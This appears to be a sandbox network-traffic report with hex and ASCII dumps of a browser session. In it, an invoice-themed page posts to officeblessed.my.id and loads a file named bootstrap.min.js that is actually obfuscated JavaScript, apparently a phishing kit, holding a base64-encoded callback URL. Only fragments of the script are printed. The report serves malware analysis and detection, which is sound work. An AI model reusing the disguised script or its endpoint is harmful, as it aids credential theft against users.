2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 Data Ascii: query","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 44 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 3b Data Ascii: ,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUID:function(t){for(;
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 63 6c 6f 73 65 3d 66 75 6e 63 74 69 6f 6e Data Ascii: arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;return t.close=function
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d 27 2c 41 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 Data Ascii: ew _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]',A='[data-toggle="
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 6d 2e 66 6e 5b 70 5d 2e 43 Data Ascii: t();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQueryInterface,m.fn[p].C
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 74 79 22 29 26 26 74 68 69 73 2e 6e 65 78 74 28 29 7d 2c Data Ascii: Selector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibility")&&this.next()},
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 52 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 Data Ascii: n t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTER,function(t){retur
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 2c 73 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 Data Ascii: if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this,s=this._element.qu
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 66 28 6e 26 26 50 28 6e 29 2e 68 61 73 43 6c 61 73 73 28 Data Ascii: tring"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];if(n&&P(n).hasClass(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.16	49763	162.241.71.126	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:55 UTC	645	OUT	POST /next.php HTTP/1.1 Host: officeblessed.my.id Connection: keep-alive Content-Length: 13 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://zngw.officeinvoicedoc.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://zngw.officeinvoicedoc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:55 UTC	13	OUT	Data Raw: 64 6f 3d 75 73 65 72 2d 63 68 65 63 6b Data Ascii: do=user-check
2024-08-28 11:52:56 UTC	294	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:52:54 GMT Server: Apache Access-Control-Allow-Origin: https://zngw.officeinvoicedoc.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-08-28 11:52:56 UTC	27	IN	Data Raw: 31 30 0d 0a 7b 22 73 74 61 74 75 73 22 3a 66 61 6c 73 65 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 10{"status":false}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.16	49761	162.62.150.176	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:55 UTC	388	OUT	GET /bootstrap.min.js HTTP/1.1 Host: blessed-1323985617.cos.eu-frankfurt.myqcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:55 UTC	429	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 554458 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Wed, 28 Aug 2024 11:52:55 GMT ETag: "07161be3d832ba792fa5c81c731192f2" Last-Modified: Fri, 09 Aug 2024 15:16:52 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 8186656788753145021 x-cos-request-id: NjZjZjBmOTdfMjlhZTM0MGJfMWZkMTZfM2MwODNmMg==
2024-08-28 11:52:55 UTC	15955	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 76 5a 6d 5a 70 59 32 56 69 62 47 56 7a 63 32 56 6b 4c 6d 31 35 4c 6d 6c 6b 4c 32 35 6c 65 48 51 75 63 47 68 77 22 3b 0d 0a 76 61 72 20 5f 30 78 35 64 32 36 61 63 3d 5f 30 78 63 36 65 66 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 66 31 61 61 33 2c 5f 30 78 34 33 32 65 64 38 29 7b 76 61 72 20 5f 30 78 35 36 66 63 32 36 3d 5f 30 78 63 36 65 66 2c 5f 30 78 34 61 38 30 32 36 3d 5f 30 78 34 66 31 61 61 33 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 5f 30 78 35 34 32 61 65 61 3d 70 61 72 73 65 49 6e 74 28 5f 30 78 35 36 66 63 32 36 28 30 78 31 38 36 37 29 29 2f 28 30 78 35 62 63 2a 30 78 33 2b 2d 30 78 31 34 38 32 2b 30 78 33 34 66 29 2b 2d 70 61 72 73 65 49 6e 74 28 Data Ascii: var file = "aHR0cHM6Ly9vZmZpY2VibGVzc2VkLm15LmlkL25leHQucGhw";var _0x5d26ac=_0xc6ef;(function(_0x4f1aa3,_0x432ed8){var _0x56fc26=_0xc6ef,_0x4a8026=_0x4f1aa3();while(!![]){try{var _0x542aea=parseInt(_0x56fc26(0x1867))/(0x5bc*0x3+-0x1482+0x34f)+-parseInt(
2024-08-28 11:52:55 UTC	4	IN	Data Raw: 30 78 32 32 Data Ascii: 0x22
2024-08-28 11:52:55 UTC	8184	IN	Data Raw: 37 37 29 5d 28 24 2c 5f 30 78 34 66 30 34 64 34 5b 5f 30 78 34 38 34 34 31 64 28 30 78 32 35 36 31 29 5d 29 5b 5f 30 78 34 38 34 34 31 64 28 30 78 32 38 61 62 29 5d 28 29 2c 61 69 5b 5f 30 78 34 38 34 34 31 64 28 30 78 31 37 66 64 29 5d 2c 21 5b 5d 3b 63 6f 6e 74 69 6e 75 65 3b 7d 62 72 65 61 6b 3b 7d 7d 7d 7d 29 3b 7d 29 28 29 29 3b 63 6f 6e 73 74 20 70 61 67 65 49 6e 64 65 78 3d 28 29 3d 3e 7b 76 61 72 20 5f 30 78 34 35 65 32 38 32 3d 5f 30 78 63 36 65 66 3b 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 34 35 65 32 38 32 28 30 78 39 66 65 29 5d 5b 5f 30 78 34 35 65 32 38 32 28 30 78 31 33 38 37 29 5d 3d 27 27 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 34 35 65 32 38 32 28 30 78 31 39 31 29 5d 5b 5f 30 78 34 35 65 32 38 32 28 30 78 31 33 38 37 29 5d 3d 27 27 2c 64 6f Data Ascii: 77)]($,_0x4f04d4[_0x48441d(0x2561)])[_0x48441d(0x28ab)](),ai[_0x48441d(0x17fd)],![];continue;}break;}}}});})());const pageIndex=()=>{var _0x45e282=_0xc6ef;document[_0x45e282(0x9fe)][_0x45e282(0x1387)]='',document[_0x45e282(0x191)][_0x45e282(0x1387)]='',do
2024-08-28 11:52:55 UTC	8184	IN	Data Raw: 35 65 32 38 32 28 30 78 31 66 39 34 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 39 37 62 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 37 34 37 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 31 62 39 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 36 61 30 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 39 37 35 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 62 64 36 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 36 64 36 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 32 37 61 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 38 66 31 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 33 32 64 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 37 34 37 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 65 33 34 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 30 39 33 29 2b 5f 30 78 34 35 65 32 38 32 Data Ascii: 5e282(0x1f94)+_0x45e282(0x197b)+_0x45e282(0x2747)+_0x45e282(0x21b9)+_0x45e282(0x16a0)+_0x45e282(0x2975)+_0x45e282(0x1bd6)+_0x45e282(0x16d6)+_0x45e282(0x227a)+_0x45e282(0x8f1)+_0x45e282(0x32d)+_0x45e282(0x2747)+_0x45e282(0x1e34)+_0x45e282(0x1093)+_0x45e282
2024-08-28 11:52:55 UTC	8184	IN	Data Raw: 28 30 78 38 38 63 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 34 35 33 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 61 39 30 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 66 61 36 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 36 34 64 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 37 35 35 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 32 39 66 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 35 36 64 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 37 39 35 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 35 30 32 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 31 65 33 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 38 66 31 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 62 36 62 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 34 65 39 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 32 31 35 29 2b Data Ascii: (0x88c)+_0x45e282(0x2453)+_0x45e282(0x2a90)+_0x45e282(0xfa6)+_0x45e282(0x64d)+_0x45e282(0x1755)+_0x45e282(0x229f)+_0x45e282(0x56d)+_0x45e282(0x2795)+_0x45e282(0x502)+_0x45e282(0x21e3)+_0x45e282(0x8f1)+_0x45e282(0x1b6b)+_0x45e282(0x24e9)+_0x45e282(0x2215)+
2024-08-28 11:52:55 UTC	8184	IN	Data Raw: 78 34 35 65 32 38 32 28 30 78 31 38 38 31 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 38 65 63 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 34 32 63 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 62 61 33 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 37 31 62 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 39 65 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 39 66 34 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 64 63 30 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 30 63 35 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 61 39 38 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 61 38 32 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 61 61 37 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 61 65 62 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 32 61 36 29 2b 5f 30 78 34 35 65 32 38 32 28 Data Ascii: x45e282(0x1881)+_0x45e282(0x8ec)+_0x45e282(0x42c)+_0x45e282(0x2ba3)+_0x45e282(0x171b)+_0x45e282(0x29e)+_0x45e282(0x9f4)+_0x45e282(0xdc0)+_0x45e282(0x10c5)+_0x45e282(0x1a98)+_0x45e282(0x1a82)+_0x45e282(0x2aa7)+_0x45e282(0x1aeb)+_0x45e282(0x12a6)+_0x45e282(
2024-08-28 11:52:55 UTC	16368	IN	Data Raw: 32 28 30 78 64 33 66 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 63 32 33 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 36 34 34 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 30 61 63 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 36 30 31 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 35 65 37 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 63 61 34 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 35 33 66 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 65 63 61 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 63 35 34 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 38 34 62 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 31 30 61 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 65 66 64 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 33 62 65 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 37 38 Data Ascii: 2(0xd3f)+_0x45e282(0x1c23)+_0x45e282(0x644)+_0x45e282(0x20ac)+_0x45e282(0x2601)+_0x45e282(0x25e7)+_0x45e282(0xca4)+_0x45e282(0x153f)+_0x45e282(0xeca)+_0x45e282(0x2c54)+_0x45e282(0x284b)+_0x45e282(0x110a)+_0x45e282(0x1efd)+_0x45e282(0x23be)+_0x45e282(0x178
2024-08-28 11:52:55 UTC	8184	IN	Data Raw: 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 38 62 35 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 35 34 34 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 61 33 36 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 34 34 66 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 33 33 66 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 39 33 39 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 37 61 39 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 63 33 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 37 37 61 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 33 64 39 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 36 36 35 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 64 39 39 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 62 64 35 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 38 38 29 2b 5f 30 78 34 35 65 32 Data Ascii: +_0x45e282(0x18b5)+_0x45e282(0x544)+_0x45e282(0x2a36)+_0x45e282(0x244f)+_0x45e282(0x33f)+_0x45e282(0x2939)+_0x45e282(0x17a9)+_0x45e282(0x2c3)+_0x45e282(0x177a)+_0x45e282(0x23d9)+_0x45e282(0x2665)+_0x45e282(0xd99)+_0x45e282(0x2bd5)+_0x45e282(0x288)+_0x45e2
2024-08-28 11:52:55 UTC	8184	IN	Data Raw: 65 32 38 32 28 30 78 36 63 35 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 37 36 33 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 35 32 66 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 35 63 37 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 64 62 36 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 33 62 64 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 32 37 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 36 33 39 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 63 39 61 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 35 32 37 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 66 61 65 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 35 65 39 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 65 32 37 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 35 35 65 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 31 61 Data Ascii: e282(0x6c5)+_0x45e282(0x763)+_0x45e282(0x52f)+_0x45e282(0x25c7)+_0x45e282(0xdb6)+_0x45e282(0x23bd)+_0x45e282(0x227)+_0x45e282(0x1639)+_0x45e282(0x2c9a)+_0x45e282(0x1527)+_0x45e282(0xfae)+_0x45e282(0x15e9)+_0x45e282(0x1e27)+_0x45e282(0x55e)+_0x45e282(0x21a
